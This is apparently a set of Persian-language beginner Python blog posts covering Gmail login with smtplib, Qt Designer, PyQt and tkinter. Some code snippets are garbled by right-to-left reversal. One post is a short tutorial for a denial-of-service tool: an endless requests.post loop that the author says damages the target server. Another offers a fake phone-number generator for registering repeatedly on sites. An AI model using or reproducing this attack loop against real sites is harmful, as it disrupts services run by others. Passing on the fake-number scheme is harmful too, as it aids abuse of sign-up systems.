به نام خدا من محمد جواد حق بیگی هستم نویسنده وبلاگ ادرس هستم در این آموزش قصد داریم با ماژول smtlib اشنا شویم و کاربردش را بررسی کنیم :
این ماژول از اول رو پایتون هست و نیازی به نصب نداره برای اینکه ما بتونیم با کد پایتون در gmail لوگین کنیم باید روی این لینک کلیک کنید و دکمه رو روشن کنید تا گوگل اجازه بده در gmail لوگین کنیم
بعد با دستور زیر ماژول رو ایمپورت میکنیم
import smtplib
import ssl
بعد با دستور زیر به سرور gmail لوگین میکنیم
port = 465 #
context = ssl.create_default_context()
with smtplib.SMTP_SSL("smtp.gmail.com", port, context=context) as server:
server.login(رمز ایمیل،ایمیل)
برای ارسال پیام از دستور زیر استفاده میکنیم
server.sendmail(پیغام ، ایمیل دریافت کننده ،ایمیل)
این برنامه رو خودم با پایتون درست کردم بسیار کاربردی هست قبل از دانلود رو این لینک بزنید و دکمه رو روشن کنید. در غیر این صورت برنامه کار نمیکنه و ارور میده
به نام خدا این برنامه عیدی من به شما هست این برنامه شماره های فیک یا علکی میسازه که باهاش میتونید تو سایتایی که به برای ثبت نام اس ام اس نمیفرستند چند دور ثبت نام کنید
بعد نصب کنید و در سرچ ویندوز عبارت Qt Designer رو سرچ کنید و اگر خواستید با Pin To Taskbar اون رو به taskbar اضافه کنید تا راحت تر در دسترس باشه بعد از اجرا با صفحه زیر رو برو میشید
شما روی MainWindow دو دور کلیک کنید
صفحه زیر باز میشه
در این صفحه در طرف راست وسایلی هست که میتونید استفاده کنید مانند Push Button یا Label و ابزار های دیگر در طرف راست خواص جسم هست که میشه تغییرش داد مانند وقتی که موس میره روی جسم چه شکلی بشه برای اجرا دکمه ctrl + r رو بزنید یا از منو form بیاید preview رو بزنید که اجرا شه برای گذاشتن جسم داخل صفحه جسم رو بکشید و بندازید داخل صفحه مانند زیر:
بعد اجرا کنید میبینید دکمه کاری نمیکنه و روش بزنید اتفاقی نمیافتد برای این که متن داخل اون رو تغییر بدید از قسمت property بگردید دنبال text و روش بزنید و متن رو عوض کنید
به همین راحتی برای این که متن بزارید Label رو بکشید و بندازید داخل صفحه و در property بیاید text رو انتخاب کنید و متن خودتون رو جاش بنویسید
اگر الان زخیره کنید میبینید یک فایل با فرمت ui میسازه که قابل اجرا نیست و اگر ویرایش کنید داخلش کد پایتون وجود نداره برای نشان دادن صفحه در پایتون اول پکیج pyside 2 رو با دستور زیر نصب میکنیم
pip install pyside2
بعد از نصب این پکیج ما نیازی به پکیج pyqt5 نداریم و این pyqt5و pyqt4 را در خود دارد با کد زیر صفحه رو نشان میدیم
اجراش کنید جالب بودش یا نه؟ این برنامه پنجره run رو باز میکنه و باهاش notepad ویندوز رو اجرا میکنه و توش یک کد مینویسه که سایت https://irnelm.blog.ir رو باز کنه بعد با اسم start.bat سیو میکنه و فلش سمت چپ رو برای این که اگر قبلا وجود داشت تو صفحه replace بره رو یس و enter رو بزنه بعد فلش پایین رو بزنه بره رو فایل start.bat و enter بزنه که سایت https://irnelm.blog.ir باز شه ممنون از توجه شما به وبلاگم سر بزنید: ادرس و اگر جایی گذاشتین حتما منبع رو زکر کنید ممنون
به نام خدا امروز با یک مطلب دیگه با شما هستیم امروز به شما یاد میدهیم با پایتون ابزاری بسازید که باهاش حمله dos امام بدیم اول کتابخانه requests رو با دستور زیر نصب میکنیم:
pip install requests
بعد از نصب شدن یک فایل پایتون بسازید و کد زیر را وارد کنید:
while True:
requests.post("ادرس سایت")
این کد میاد همش درخواست به سرور ارسال میکنه و باعث میشه سرور آسیب ببینه این اموزش به پایان رسید خداحافظ
به نام خدا من محمد جواد حق بیگی نویسنده وبلاگ:http://irnelm.blog.ir هستم و امروز ما قسمت اول pyqt رو آموزش میدیم در این قسمت pyqt رو نصب و پیکر بندی میکنیم
برای نصب اول برای ایجاد ماشین مجازی پکیج virtualenv رو نصب میکنیم
pip install virtualenv
بعد یک محیط مجازی با دستور زیر میسازیم (در درایو مورد نظر)
mkdir pyqt
virtualenv pyqt
بعد پکیج رو نصب میکنیم
pip install pyqt5 pyqt-tools
و صبر میکنید تا نصب شه .....
این جلسه به پایان رسید به وبلاگم سر بزنید:https://irnelm.blog.ir
به نام خدا تو جلسه قبل یک صفحه ساختیم و بعد توش یک متن گذاششتیم امروز با دکمه اشنا میشین و کاربرد اون رو یاد میگریم
تو جلسه قبلی گفتیم که tkinter رو ایمپورت میکنیم یک متن توش گذاشتیم و مین لوپ کردیم در این جلسه یک دکمه درست میکنیم که هر وقت روش زدیم بگه hello world اول کد زیر داخل کد های برنامه ی گرافیکی بنویسید:
نام دکمه = Button(نام پنجره , text = متن دکمه)
بعد با دستور زیر وارد صفحه کنیدش
نام دکمه.pack()
برای اینکه بگید وقتی دکمه رو زدید چیشه یک اتفاق با def بالا تر از کد دکمه مثل شکر زیر درست کنید:
def نام رویداد:
کد های رویداد
این کد ها به صورت خود کار با کلیک روی دکمه کار نمی کنند با دستور زیر تنطیم کنید وقتی روی دکمه زدید چه اتفاقی بی افتد:
نام دکمه.config(command = نام رویداد)
خوب این جلسه به پایان رسید کد های پروژه در پایین قرار داده شدن:
به نام خدا من محمد جواد حق بیگی مدیر وبلاگ هستم امروز با قسمت اول اموزش کتابخانه گرافیکی tkinter هستیم خوب خلاصه این جلسه این هست که یک صفحه گرافیکی درست میکنیم و داخلش یک متن قرار میدهیم و صفحه مون رو mainloop میکنیم خوب اول کتابخانه tkinter رو ایمپورت میکنیم با کد زیر
* from tkinter import
و بعد برای ایجاد صفحه کد زیر رو
()win = Tk
و در پایین mainloop میکنیم
() win.mainloop
الان اگه کد را ران کنید یه صفحه گرافیکی خالی گرافیکی میبینید که هیچ محتوایی ندارد و بالایش نوشته tk این اسم برنامه است که با کد زیر میتوان تقییر داد
("program name")win.title
دقت کنید کد های برنامه رو داخل ()win.mainloop قرار دهید و جای program name نام برنامه را بنویسید.